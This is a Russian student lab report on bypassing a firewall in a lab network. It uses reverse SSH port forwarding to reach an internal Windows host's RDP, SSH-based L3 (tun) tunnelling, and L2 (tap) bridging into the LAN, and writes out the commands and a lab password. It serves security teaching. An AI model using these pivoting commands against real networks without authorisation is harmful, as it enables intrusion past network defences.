# Практическая работа №4 "Revers Shells & Reverse SSH connections"
Выполнил студент группы БСБО-04-20: Люцько С.А.
Проверил преподаватель: Садыков Ильдар Венерович
**Москва 2023г.**
---
## Организация проброса портов внутрь инфраструктуры на локальное устройство
Построим следующую топологию:

**Задача:** работая с устройства Kali-2022, обойдя межсетевой экран, получить доступ к устройству из локальной сети за этим экраном (будет выполнено для устройства Win-10).
Определим IP адреса интересующих нас устройств.
**Win-10:** 192.168.1.102

**Kali-2022:** 192.168.10.129

Попробуем организовать SSH подключение с Win-10 к Kali-2022.
Для этого сперва откроем SSH на Kali-2022:
```
sudo sevice ssh start
sudo systemctl enable ssh
```

И заодно разрешим удалённые подключение на Win-10:
Настройки -> Система -> О системе -> Сведения о системе -> Настройка удалённого доступа
Выставляем следующие настройки:

Подключимся Win-10 -> Kali-2022:
```
ssh user@192.168.10.129
```

Из результатов видим, что firewall не блокирует SSH подключение изнутри наружу.
Подключимся Kali-2022 -> Win-10:
```
ssh user@192.168.1.102
```

Неудача. Организовать SSH подключение стандартным способом извне невозможно.
Однако данное ограничение можно обойти путём проброса портов на локальное устройство.
Для этого на устройстве Win-10 пропишем следующую команду:
```
ssh -R 3390:locahost:3389 user@192.168.10.129
```

Просмотрим список прослушиваемых портов на Kali-2022:
```
ss -tunlp
```

Видим, что в списке имеется некий процесс на порту 3390.
А теперь попробуем по RDP подключиться к локальному хосту на Kali Linux.
```
xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390
```

Успех! Мы получили доступ к Win-10 с Kali-2022:

---
## L3 туннелирование
На данном этапе будет организовано SSH-туннелирование.
Сперва изменим файл конфигурации (/etc/ssh/sshd_config) для того, чтобы это стало возможным.
```
nano /etc/ssh/sshd_config
```
Изменения следующие:


Перезапустим SSH сервис:
```
service ssh restart
```

Мы разрешили туннелирование и открыли возможность логиниться как root.
Сменим пароль для root:
```
passwd root
```

Включим устройство Debian и установим с него туннель
```
sudo -i
ssh -w 0:0 root@192.168.10.129
```

На Linux-2022 же появился заветный tun интерфейс, однако на данный момент он выключен:

Настроим его IP адрес и включим его на Kali-2022:
```
ip addr add 10.8.0.1/24 dev tun0
ip link set tun0 up
```

Теперь же настроим его IP адрес и включим его на Debian:
```
ip addr add 10.8.0.2/24 dev tun0
ip link set tun0 up
```

Теперь же Debian пингуется с Kali-2022:

А вот сетка пока пинговаться не будет. Чтобы это исправить, включим маршрутизацию на Debian:
```
nano /etc/sysctl.conf
```
Вносим следующие правки:

Проверяем:

Осталось на Kali-2022 настроить маршрут до сетки 192.168.1.0/24:
```
ip route add 192.168.1.0/24 via 10.8.0.2
```
Теперь пинг проходит успешно!

---
## L2 туннелирование
Перестроим топологию следующим образом:

Теперь необходимо Debian-RPi4 сделать "мостовым" устройством:
```
apt update
apt install bridge-utils
nano /etc/network/interfaces
```
Вносим следующие правки:

Перезапускаем networking
```
service networking restart
```
IP адреса успешно получены.
**Debian-RPi4:** 192.168.1.106

**Win-7:** 192.168.1.108

**Win-10:** 192.168.1.107

Используем утилиту tcpdump для перехвата трафика:
```
apt install tcpdump -y
tcpdump -i br0 | grep ICMP
```

Переходим к настройке туннеля.
На Debian-RPi4:
```
ssh root@192.168.10.129 -o Tunnel=ethernet -w any:any
```
Тем временем на Kali-2022 и Debian-RPi4 появились новые интерфейсы tap0:


Поднимем эти интерфейсы на обоих устройствах, а на Debian-RPi4 добавим его в "мост".
Debian-RPi4:
```
ip link set dev tap0 up
brctl addif br0 tap0
```

Kali-2022:
```
ip link set dev tap0 up
```

Можно пробовать на Kali-2022 получить адрес по DHCP:
```
dhclient tap0
```

Проверка:

Успешно! Мы внутри сети! (и можем получить доступ, например, к pfSense)

Утилита tcpdump теперь также отрабатывает на Kali-2022.
